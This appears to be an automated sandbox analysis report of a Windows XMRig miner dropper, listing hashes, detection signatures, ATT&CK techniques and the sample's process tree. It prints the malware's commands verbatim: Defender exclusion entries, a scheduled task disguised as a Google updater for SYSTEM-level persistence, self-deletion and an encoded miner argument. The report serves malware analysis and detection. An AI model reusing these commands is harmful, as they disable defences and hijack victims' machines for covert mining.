xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
434s
max time network
1784s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

Q5EUCWHU7pMYBfT3.exeupdater.exe

description	pid	process	target process
PID 3020 created 1368	3020	Q5EUCWHU7pMYBfT3.exe	Explorer.EXE
PID 3020 created 1368	3020	Q5EUCWHU7pMYBfT3.exe	Explorer.EXE
PID 3020 created 1368	3020	Q5EUCWHU7pMYBfT3.exe	Explorer.EXE
PID 3020 created 1368	3020	Q5EUCWHU7pMYBfT3.exe	Explorer.EXE
PID 1496 created 1368	1496	updater.exe	Explorer.EXE
PID 1496 created 1368	1496	updater.exe	Explorer.EXE
PID 1496 created 1368	1496	updater.exe	Explorer.EXE
PID 1496 created 1368	1496	updater.exe	Explorer.EXE
PID 1496 created 1368	1496	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral11/memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2744 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1496 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2516 taskeng.exe

pid	process
2744	cmd.exe

pid	process
1496	updater.exe

pid	process
2516	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral11/memory/1724-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 1496 set thread context of 2832	1496	updater.exe	conhost.exe
PID 1496 set thread context of 1724	1496	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Q5EUCWHU7pMYBfT3.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2448 schtasks.exe
2616 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1268 WMIC.exe

pid	process
2448	schtasks.exe
2616	schtasks.exe

pid	process
1268	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10aaab5cb24fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Q5EUCWHU7pMYBfT3.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
3020	Q5EUCWHU7pMYBfT3.exe
3020	Q5EUCWHU7pMYBfT3.exe
2220	powershell.exe
3020	Q5EUCWHU7pMYBfT3.exe
3020	Q5EUCWHU7pMYBfT3.exe
2532	powershell.exe
3020	Q5EUCWHU7pMYBfT3.exe
3020	Q5EUCWHU7pMYBfT3.exe
3020	Q5EUCWHU7pMYBfT3.exe
3020	Q5EUCWHU7pMYBfT3.exe
2864	powershell.exe
1496	updater.exe
1496	updater.exe
1916	powershell.exe
1496	updater.exe
1496	updater.exe
2640	powershell.exe
1496	updater.exe
1496	updater.exe
1496	updater.exe
1496	updater.exe
2832	conhost.exe
2832	conhost.exe
1496	updater.exe
1496	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	1496	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1268	WMIC.exe
Token: SeSecurityPrivilege	1268	WMIC.exe
Token: SeTakeOwnershipPrivilege	1268	WMIC.exe
Token: SeLoadDriverPrivilege	1268	WMIC.exe
Token: SeSystemtimePrivilege	1268	WMIC.exe
Token: SeBackupPrivilege	1268	WMIC.exe
Token: SeRestorePrivilege	1268	WMIC.exe
Token: SeShutdownPrivilege	1268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1268	WMIC.exe
Token: SeUndockPrivilege	1268	WMIC.exe
Token: SeManageVolumePrivilege	1268	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1268	WMIC.exe
Token: SeSecurityPrivilege	1268	WMIC.exe
Token: SeTakeOwnershipPrivilege	1268	WMIC.exe
Token: SeLoadDriverPrivilege	1268	WMIC.exe
Token: SeSystemtimePrivilege	1268	WMIC.exe
Token: SeBackupPrivilege	1268	WMIC.exe
Token: SeRestorePrivilege	1268	WMIC.exe
Token: SeShutdownPrivilege	1268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1268	WMIC.exe
Token: SeUndockPrivilege	1268	WMIC.exe
Token: SeManageVolumePrivilege	1268	WMIC.exe
Token: SeLockMemoryPrivilege	1724	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2532 wrote to memory of 2448	2532	powershell.exe	schtasks.exe
PID 2532 wrote to memory of 2448	2532	powershell.exe	schtasks.exe
PID 2532 wrote to memory of 2448	2532	powershell.exe	schtasks.exe
PID 2744 wrote to memory of 2468	2744	cmd.exe	choice.exe
PID 2744 wrote to memory of 2468	2744	cmd.exe	choice.exe
PID 2744 wrote to memory of 2468	2744	cmd.exe	choice.exe
PID 2864 wrote to memory of 2460	2864	powershell.exe	schtasks.exe
PID 2864 wrote to memory of 2460	2864	powershell.exe	schtasks.exe
PID 2864 wrote to memory of 2460	2864	powershell.exe	schtasks.exe
PID 2516 wrote to memory of 1496	2516	taskeng.exe	updater.exe
PID 2516 wrote to memory of 1496	2516	taskeng.exe	updater.exe
PID 2516 wrote to memory of 1496	2516	taskeng.exe	updater.exe
PID 2640 wrote to memory of 2616	2640	powershell.exe	schtasks.exe
PID 2640 wrote to memory of 2616	2640	powershell.exe	schtasks.exe
PID 2640 wrote to memory of 2616	2640	powershell.exe	schtasks.exe
PID 1496 wrote to memory of 2832	1496	updater.exe	conhost.exe
PID 1616 wrote to memory of 1268	1616	cmd.exe	WMIC.exe
PID 1616 wrote to memory of 1268	1616	cmd.exe	WMIC.exe
PID 1616 wrote to memory of 1268	1616	cmd.exe	WMIC.exe
PID 1496 wrote to memory of 1724	1496	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1368

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2616

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1724

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2820

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2448

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\system32\taskeng.exe
taskeng.exe {E3D38D4A-6BA0-493D-A54F-065E7D648B58} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2460

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2468

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1268

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1616

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
251KB

MD5
13afc243fc113a1383374425957c6b00

SHA1
5ba1abfa28958764f3990b74f9e22ad738e85fde

SHA256
c0a3dd2307f18b226dbe05fbc6c84076ffef19a1b7b6ff71c8744d67b5394e41

SHA512
b92d2e09bac338899368f3fca3d482b1f32251da9dd708c94674333b36e6021e202687312a553f9dbe915b0901cc63571af4c359964fe718365d05800586038c

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
64KB

MD5
6ca1a5cef532c8dfe2d166ad9962793d

SHA1
30ef6a496f16323cb209dfe0295df3a055607596

SHA256
a264c5c6f0e723b828d5d53e440809950d10303843fbde83e0f9baf3d1a6bb4d

SHA512
6d3f17a563ce2ceae705e67c47372ca123f0bd591cf995d142082c0dbb947aef9c3102b7cf73fc10c01a8fa00f49ee353007ab14060dd55598b90ff5e27f32be

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IF9BN8K9OFCY9NTLIFHB.temp
Filesize
7KB

MD5
0f455405fb491942938f2bd9a45bacc3

SHA1
749f6beb8b0c9ec0c5fb7d8875ebcc3622717ee7

SHA256
da04c19faa3bd52678f44e747f43a42a1f4feaa103902058cb8f166a4bab174b

SHA512
51aed41f88f2fdd2707e1d819cc71cfbf65f79d6172a6976a53b22cd8bc001c478475ff759fc3ded1f79856e8a0825dbb5c38c1a1b9c82ec0d4537e8a7c0eb12

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
335KB

MD5
d3e5e02253114d89dcfdf9ac3a927fd1

SHA1
e4d33b3d9dff314d5397f770e2888e3b1b37bc6c

SHA256
786479d16017742ccdb65ee1b8e3146762e4f4b6f9690fa2754b100195b16dda

SHA512
1c231063ace8fbec285d7012f0d9b83ea76d3c98295f0c085a10518e9c557aa62252cd4f7bd6a332fc15db722dec0fd83dd3ce1bcac0b6a1ff1d0f4f30e3c9cf

Download Submit
memory/1496-65-0x000000013F300000-0x000000013F511000-memory.dmp

Filesize
2.1MB

Download
memory/1496-44-0x000000013F300000-0x000000013F511000-memory.dmp

Filesize
2.1MB

Download
memory/1724-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-74-0x0000000000320000-0x0000000000340000-memory.dmp

Filesize
128KB

Download
memory/1724-75-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/1724-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-69-0x0000000000760000-0x0000000000780000-memory.dmp

Filesize
128KB

Download
memory/1724-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1724-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-68-0x0000000000320000-0x0000000000340000-memory.dmp

Filesize
128KB

Download
memory/1724-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1724-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-51-0x000007FEF4A90000-0x000007FEF542D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-50-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1916-46-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1916-48-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1916-47-0x000007FEF4A90000-0x000007FEF542D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-49-0x00000000013A0000-0x0000000001420000-memory.dmp

Filesize
512KB

Download
memory/1916-45-0x000007FEF4A90000-0x000007FEF542D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-10-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2220-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2220-7-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2220-12-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2220-8-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2220-6-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

